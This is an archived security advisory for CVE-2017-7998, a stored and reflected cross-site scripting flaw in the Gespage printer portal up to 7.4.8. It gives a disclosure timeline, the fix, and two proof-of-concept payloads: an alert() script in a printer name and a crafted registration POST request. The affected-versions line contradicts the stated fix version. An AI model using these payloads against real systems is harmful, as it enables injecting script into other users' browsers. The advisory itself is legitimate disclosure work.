exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Gespage 7.4.8 Cross Site Scripting

Gespage 7.4.8 Cross Site Scripting
Posted Jan 6, 2018
Authored by Mickael Karatekin

Gespage versions 7.4.8 and below suffer from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2017-7998
SHA-256 | 61ed56b868b851bca85d2f6fb99510969316fac0e949f20b0928b7659f72ee1d

Gespage 7.4.8 Cross Site Scripting

Change Mirror Download
# [CVE-2017-7998] Gespage stored cross-site-scripting (XSS) vulnerability

## Description

Gespage is web solution providing a printer portal. Official Website:
http://www.gespage.com/

The web application does not properly filter several parameters sent by
users, allowing XSS code injection.
These vulnerabilities allow attackers to inject code inside the client
web browser, such as malicious scripts in Javascript. Exploitation leads
to a full takeover of the web browser and potentially of the operating
system.

**CVE ID**: CVE-2017-7998

**Access Vector**: remote

**Security Risk**: high

**Vulnerability**: CWE-79

**CVSS Base Score**:7.3

**CVSS Vector String**: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

### Proof of Concept 1 (stored XSS)

From the admin panel, it is possible to add a printer with a crafted name:

```
"><script>alert("printer xss")</script>
```

If an authenticated user loads the "My Jobs"
("https://URL:7181/gespage/users/prnow.jsp") page, his browser processes
the Javascript payload, triggering the "printer xss" pop-up message.

### Proof of Concept 2 (reflected XSS)

From the registration page, it is possible to inject malicious web code
inside all parameters. The POST request looks like the following:

```
POST /gespage/webapp/users/user_reg.jsp HTTP/1.1
Host: IP:7180
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:51.0)
Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Referer: http://IP:7180/gespage/webapp/users/user_reg.jsp
Cookie: JSESSIONID=YOUR_COOKIE_HERE
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 129

New_User=New&username=test"><script>alert(1)</script>&email=test%40test.fr&passwd=testtest&repasswd=testtest&fullname=test&accept_term=accept&OK=Enregistrer
```

## Timeline (dd/mm/yyyy)

* 06/03/2017 : Initial discovery
* 13/03/2017 : First contact attempt (Web form)
* 21/04/2017 : Second contact attempt (public e-mail address)
* 23/06/2017 : Phone call and successful e-mail contact
* 23/06/2017 : Technical details sent to the editor
* 20/07/2017 : No reply, follow-up e-mail
* 27/07/2017 : Reply: fix planned for major release 7.5.0 in late September
* 17/09/2017 : Informing the editor that we would publish in October
* 3/10/2017 : Feedback from Gespage informing us that the issue has been
fixed with version 7.4.9.
* 02/01/2018 : Release of the advisory

## Fixes

Upgrade to Gespage 7.4.9

## Affected versions

* Versions up to 7.4.9

## Credits

* Mickael KARATEKIN <m.karatekin@sysdream.com>

--
SYSDREAM Labs <labs@sysdream.com>

GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1

* Website: https://sysdream.com/
* Twitter: @sysdream

Login or Register to add favorites

File Archive:

October 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    39 Files
  • 2
    Oct 2nd
    23 Files
  • 3
    Oct 3rd
    18 Files
  • 4
    Oct 4th
    20 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    17 Files
  • 8
    Oct 8th
    66 Files
  • 9
    Oct 9th
    25 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    21 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    14 Files
  • 15
    Oct 15th
    49 Files
  • 16
    Oct 16th
    28 Files
  • 17
    Oct 17th
    23 Files
  • 18
    Oct 18th
    10 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    5 Files
  • 22
    Oct 22nd
    12 Files
  • 23
    Oct 23rd
    23 Files
  • 24
    Oct 24th
    9 Files
  • 25
    Oct 25th
    10 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close